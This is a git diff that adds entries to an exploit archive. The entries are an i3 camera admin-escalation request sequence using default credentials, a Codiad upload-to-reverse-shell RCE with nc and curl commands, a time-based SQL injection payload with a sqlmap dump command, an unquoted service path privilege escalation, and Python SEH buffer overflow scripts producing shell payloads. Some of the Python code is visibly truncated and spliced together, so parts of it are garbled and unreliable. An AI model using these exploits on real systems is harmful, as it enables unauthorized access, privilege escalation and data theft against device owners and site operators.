a/exploits/multiple/webapps/50473.txt b/exploits/multiple/webapps/50473.txt new file mode 100644 index 000000000..269ff5465 --- /dev/null +++ b/exploits/multiple/webapps/50473.txt @@ -0,0 +1,119 @@ +# Exploit Title: i3 International Annexxus Cameras Ax-n 5.2.0 - Application Logic Flaw +# Date: 27.10.2021 +# Exploit Author: LiquidWorm +# Vendor Homepage: https://www.i3international.com + + +i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw + + +Vendor: i3 International Inc. +Product web page: https://www.i3international.com +Affected version: V5.2.0 build 150317 (Ax46) + V5.0.9 build 151106 (Ax68) + V5.0.9 build 150615 (Ax78) + + +Summary: The Annexxus camera 6MP provides 4 simultaneous, +independently controlled digital pan-tilt-zoom (ePTZ) video +streams, which may be recorded or viewed live as well as a +built-in microphone and speaker allowing two way communication. + +Desc: The application doesn't allow creation of more than one +administrator account on the system. This also applies for +deletion of the administrative account. The logic behind this +restriction can be bypassed by parameter manipulation using +dangerous verbs like PUT and DELETE and improper server-side +validation. Once a normal account with 'viewer' or 'operator' +permissions has been added by the default admin user 'i3admin', +a PUT request can be issued calling the 'UserPermission' endpoint +with the ID of created account and set it to 'admin' userType, +successfully adding a second administrative account. + +Tested on: App-webs/ + + +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic + @zeroscience + + +Advisory ID: ZSL-2021-5688 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5688.php + + +27.10.2021 + +-- + + +Make user ID 3 an Administrator: +-------------------------------- + +PUT /PSIA/Custom/SelfExt/UserPermission/3 HTTP/1.1 +Host: 192.168.1.1 +Content-Length: 556 +Cache-Control: max-age=0 +Accept: */* +X-Requested-With: XMLHttpRequest +If-Modified-Since: 0 +Authorization: Basic aTNhZG1pbjppM2FkbWlu +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Origin: http://192.168.1.1 +Referer: http://192.168.1.1/doc/setup.html +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin +Connection: close + +33admintruetruetruetruetruetruetruetruetruetruetruetrue + + +HTTP/1.1 200 OK +Date: Wed, 27 Oct 2021 14:13:56 GMT +Server: App-webs/ +Connection: close +Content-Length: 238 +Content-Type: application/xml + + + +/PSIA/Custom/SelfExt/UserPermission/3 +1 +OK + + + + +Delete Administrator user ID 3: +------------------------------- + +DELETE /PSIA/Security/AAA/users/3 HTTP/1.1 +Host: 192.168.1.1 +Cache-Control: max-age=0 +Accept: */* +X-Requested-With: XMLHttpRequest +If-Modified-Since: 0 +Authorization: Basic aTNhZG1pbjppM2FkbWlu +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 +Origin: http://192.168.1.1 +Referer: http://192.168.1.1/doc/setup.html +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin +Connection: close + + +HTTP/1.1 200 OK +Date: Wed, 27 Oct 2021 14:20:17 GMT +Server: App-webs/ +Connection: close +Content-Length: 213 +Content-Type: application/xml + + + +/PSIA/Security/AAA/users/3 +1 +OK + \ No newline at end of file diff --git a/exploits/multiple/webapps/50474.txt b/exploits/multiple/webapps/50474.txt new file mode 100644 index 000000000..37ed1c107 --- /dev/null +++ b/exploits/multiple/webapps/50474.txt @@ -0,0 +1,29 @@ +# Exploit Title: Codiad 2.8.4 - Remote Code Execution (Authenticated) (4) +# Author: P4p4_M4n3 +# Vendor Homepage: http://codiad.com/ +# Software Links : https://github.com/Codiad/Codiad/releases +# Type: WebApp + +###################-------------------------##########################------------################### +# Proof of Concept: # +# # +# 1- login on codiad # +# # +# 2- go to themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/" directory # +# # +# 3- right click and select upload file # +# # +# 4- click on "Drag file or Click Here To Upload" and select your reverse_shell file # +# # +###################-------------------------#########################-------------################### + + after that your file should be in INF directory, right click on your file and select delete, + + and you will see the full path of your file + + run it in your terminal with "curl" and boom!! + +/var/www/html/codiad/themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/shell.php + +1 - # nc -lnvp 1234 +2 - curl http://target_ip/codiad/themes/default/filemanager/images/codiad/manifest/files/codiad/example/INF/shell.php -u "admin:P@ssw0rd" \ No newline at end of file diff --git a/exploits/php/webapps/50467.txt b/exploits/php/webapps/50467.txt new file mode 100644 index 000000000..267c54e32 --- /dev/null +++ b/exploits/php/webapps/50467.txt @@ -0,0 +1,41 @@ +# Title: Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated) +# Exploit Author: Anubhav Singh +# Date: 2021-10-31 +# Vendor Homepage: https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/ +# Version: 1.2 +# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=8967 +# Tested On: Windows 10, XAMPP +# Vulnerable Parameter: Email + +Steps to Reproduce: + +1) Navigate to http://localhost/employee_record/erms/forgetpassword.php and enter any email in email Field and capture request in burpsuite. +2) Create a txt file and paste this request. + +Request: +======= +POST /employee_record/erms/forgetpassword.php HTTP/1.1 +Host: localhost +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Content-Type: application/x-www-form-urlencoded +Content-Length: 110 +Origin: http://localhost +Connection: close +Referer: http://localhost/employee_record/erms/forgetpassword.php +Cookie: security_level=0; PHPSESSID=7u3nsaok3or5a9199no8ion8fh +Upgrade-Insecure-Requests: 1 +Sec-Fetch-Dest: document +Sec-Fetch-Mode: navigate +Sec-Fetch-Site: same-origin +Sec-Fetch-User: ?1 + +Email=anubhav@gmail.com&empid=ads'+AND+(SELECT+9312+FROM+(SELECT(SLEEP([SLEEPTIME])))MBeq)--+NIlX&submit=reset + +----------------------------------------------------------------------------------------------------------------- + +3) Send this request to sqlmap +4) command : python sqlmap.py -r request.txt -p Email --dbs +5) We can retrieve all databases using above sqlmap command \ No newline at end of file diff --git a/exploits/windows/local/50466.txt b/exploits/windows/local/50466.txt new file mode 100644 index 000000000..b06e85f8a --- /dev/null +++ b/exploits/windows/local/50466.txt @@ -0,0 +1,41 @@ +# Exploit Title: Dynojet Power Core 2.3.0 - Unquoted Service Path +# Exploit Author: Pedro Sousa Rodrigues (https://www.0x90.zone/ / @Pedro_SEC_R) +# Version: 2.3.0 (Build 303) +# Date: 30.10.2021 +# Vendor Homepage: https://www.dynojet.com/ +# Software Link: https://docs.dynojet.com/Document/18762 +# Tested on: Windows 10 Version 21H1 (OS Build 19043.1320) + +SERVICE_NAME: DJ.UpdateService + TYPE : 10 WIN32_OWN_PROCESS + START_TYPE : 3 DEMAND_START + ERROR_CONTROL : 1 NORMAL + BINARY_PATH_NAME : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe + LOAD_ORDER_GROUP : + TAG : 0 + DISPLAY_NAME : DJ.UpdateService + DEPENDENCIES : + SERVICE_START_NAME : LocalSystem +PS C:\Users\Developer> Get-UnquotedService + + +ServiceName : DJ.UpdateService +Path : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe +ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; + Permissions=AppendData/AddSubdirectory} +StartName : LocalSystem +AbuseFunction : Write-ServiceBinary -Name 'DJ.UpdateService' -Path +CanRestart : True +Name : DJ.UpdateService + +ServiceName : DJ.UpdateService +Path : C:\Program Files\Dynojet Power Core\DJ.UpdateService.exe +ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]} +StartName : LocalSystem +AbuseFunction : Write-ServiceBinary -Name 'DJ.UpdateService' -Path +CanRestart : True +Name : DJ.UpdateService + +#Exploit: + +A successful attempt would require the local user to be able to insert their code in the system root path (depending on the installation path). The service might be executed manually by any Authenticated user. If successful, the local user's code would execute with the elevated privileges of Local System. \ No newline at end of file diff --git a/exploits/windows/local/50470.py b/exploits/windows/local/50470.py new file mode 100755 index 000000000..6631290a0 --- /dev/null +++ b/exploits/windows/local/50470.py @@ -0,0 +1,93 @@ +# Exploit Title: Kingdia CD Extractor 3.0.2 - Buffer Overflow (SEH) +# Date: 31.10.2021 +# Software Link: https://en.softonic.com/download/kingdia-cd-extractor/windows/post-download +# Exploit Author: Achilles +# Tested Version: 3.0.2 +# Tested on: Windows 7 64bit + +# 1.- Run python code : Kingdia.py +# 2.- Open EVIL.txt and copy All content to Clipboard +# 3.- Open Kingdia CD Extractor and press Register +# 4.- Paste the Content of EVIL.txt into the 'Name and Code Field' +# 5.- Click 'OK' +# 6.- Nc.exe Local IP Port 3110 and you will have a bind shell +# 7.- Greetings go:XiDreamzzXi,Metatron + +#!/usr/bin/env python + +import struct + +buffer = "\x41" * 256 +nseh = "\xEB\x06\x90\x90" #jmp short 6 +seh = struct.pack(' jmp short 8 +nseh = "\xeb\x06\x90\x90" +junk = "A" * (offset - len(nseh)) + +#0x61e012f6 : pop edi # pop ebp # ret | {PAGE_EXECUTE_READ} [sqlite3.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.12.2 (C:\Program Files (x86)\10-Strike Network Inventory Explorer Pro\sqlite3.dll) +seh = struct.pack(" sub esp,0x10 +subesp10="\x83\xec\x10" +payload = shellcode + +buffer = junk + nseh + seh + subesp10 + payload + +f = open("overflow.txt", "w") +f.write(buffer) +f.close() \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index c8327097d..02cd2676e 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -11306,6 +11306,7 @@ id,file,description,date,author,type,platform,port 49549,exploits/windows/local/49549.txt,"AnyTXT Searcher 1.2.394 - 'ATService' Unquoted Service Path",1970-01-01,"Mohammed Alshehri",local,windows, 49563,exploits/android/local/49563.txt,"Tasks 9.7.3 - Insecure Permissions",1970-01-01,"Lyhin\'s Lab",local,android, 49572,exploits/linux/local/49572.txt,"Apport 2.20 - Local Privilege Escalation",1970-01-01,Gr33nh4t,local,linux, +50466,exploits/windows/local/50466.txt,"Dynojet Power Core 2.3.0 - Unquoted Service Path",1970-01-01,"Pedro Sousa Rodrigues",local,windows, 49623,exploits/windows/local/49623.txt,"Print Job Accounting 4.4.10 - 'OkiJaSvc' Unquoted Service Path",1970-01-01,"Brian Rodriguez",local,windows, 49624,exploits/windows/local/49624.txt,"Configuration Tool 1.6.53 - 'OpLclSrv' Unquoted Service Path",1970-01-01,"Brian Rodriguez",local,windows, 49626,exploits/windows/local/49626.txt,"Pingzapper 2.3.1 - 'PingzapperSvc' Unquoted Service Path",1970-01-01,"Brian Rodriguez",local,windows, @@ -11406,6 +11407,9 @@ id,file,description,date,author,type,platform,port 50443,exploits/windows/local/50443.txt,"Netgear Genie 2.4.64 - Unquoted Service Path",1970-01-01,"Mert Daş",local,windows, 50448,exploits/windows/local/50448.txt,"OpenClinic GA 5.194.18 - Local Privilege Escalation",1970-01-01,"Alessandro Salzano",local,windows, 50449,exploits/windows/local/50449.txt,"Gestionale Open 11.00.00 - Local Privilege Escalation",1970-01-01,"Alessandro Salzano",local,windows, +50470,exploits/windows/local/50470.py,"Kingdia CD Extractor 3.0.2 - Buffer Overflow (SEH)",1970-01-01,stresser,local,windows, +50471,exploits/windows/local/50471.py,"YouTube Video Grabber 1.9.9.1 - Buffer Overflow (SEH)",1970-01-01,stresser,local,windows, +50472,exploits/windows/local/50472.py,"10-Strike Network Inventory Explorer Pro 9.31 - Buffer Overflow (SEH)",1970-01-01,ro0k,local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",1970-01-01,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",1970-01-01,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",1970-01-01,"Marcin Wolak",remote,windows,139 @@ -44566,3 +44570,8 @@ id,file,description,date,author,type,platform,port 50456,exploits/php/webapps/50456.js,"Wordpress 4.9.6 - Arbitrary File Deletion (Authenticated) (2)",1970-01-01,samguy,webapps,php, 50457,exploits/php/webapps/50457.py,"phpMyAdmin 4.8.1 - Remote Code Execution (RCE)",1970-01-01,samguy,webapps,php, 50458,exploits/php/webapps/50458.txt,"WordPress Plugin Filterable Portfolio Gallery 1.0 - 'title' Stored Cross-Site Scripting (XSS)",1970-01-01,"Murat DEMİRCİ",webapps,php, +50467,exploits/php/webapps/50467.txt,"Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated)",1970-01-01,"Anubhav Singh",webapps,php, +50468,exploits/multiple/webapps/50468.rb,"Ericsson Network Location MPS GMPC21 - Remote Code Execution (RCE) (Metasploit)",1970-01-01,AkkuS,webapps,multiple, +50469,exploits/multiple/webapps/50469.rb,"Ericsson Network Location MPS GMPC21 - Privilege Escalation (Metasploit)",1970-01-01,AkkuS,webapps,multiple, +50473,exploits/multiple/webapps/50473.txt,"i3 International Annexxus Cameras Ax-n 5.2.0 - Application Logic Flaw",1970-01-01,LiquidWorm,webapps,multiple, +50474,exploits/multiple/webapps/50474.txt,"Codiad 2.8.4 - Remote Code Execution (Authenticated) (4)",1970-01-01,P4p4_M4n3,webapps,multiple,